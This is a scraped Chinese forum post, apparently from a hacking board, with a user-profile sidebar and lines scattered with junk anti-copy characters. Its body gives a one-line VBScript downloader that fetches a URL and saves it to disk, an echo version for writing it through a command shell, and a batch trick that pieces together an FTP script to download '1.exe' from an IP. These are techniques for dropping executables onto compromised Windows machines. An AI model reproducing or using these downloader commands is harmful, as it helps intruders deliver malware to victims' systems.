- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法:
# S: n! |0 y' y$ W1 `/ F/ m6 g1.iget.vbs一次写入 7 y# t9 ?& T& w7 c# I6 n
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写 : J/ |% |3 @# g3 ?( R
8 z) W5 \# u2 o4 s- v9 jSet x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 ' r/ G) J$ B, q4 i% J4 A7 H0 @" {$ @9 s
1 z" N7 S" H! Y$ o2 k) a" a
这样我们可以一次echo成功,echo版本:
; W# ~8 x0 o/ l6 x% ]+ F }+ G* R8 @2 [
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs 9 N+ g" E5 @" Q4 K- `: G
4 J6 U5 I/ C) p( J2 S
9 K% K4 D+ U# v! M" `! D2.bat调用ftp脚本的写法(by envymask)
7 W" }' z. v. b2 r i8 m4 V, X
0 h, A* R0 p! Z5 N' x( |echo ftp>1.vbs
- ^0 t2 e6 L0 A% }' Cecho open ip>2.vbs 8 p/ ^% @# U! I& a; P
echo u>3.vbs
8 ?- m6 g7 [- f/ \4 _; decho s>4.vbs g! X z# w# R; B
echo binary>5.vbs k2 q0 e- k( y9 z/ Y' X3 ?
echo get 1.exe>6.vbs : Z9 c* Y) b4 C
echo bay>7.vbs * H% s, m) u# U+ B' b" e9 x( S
8 _) [" f l5 E! S6 @3 C. m5 F
copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs " @) Z6 r+ w# t3 g; |
</P> |
zan
|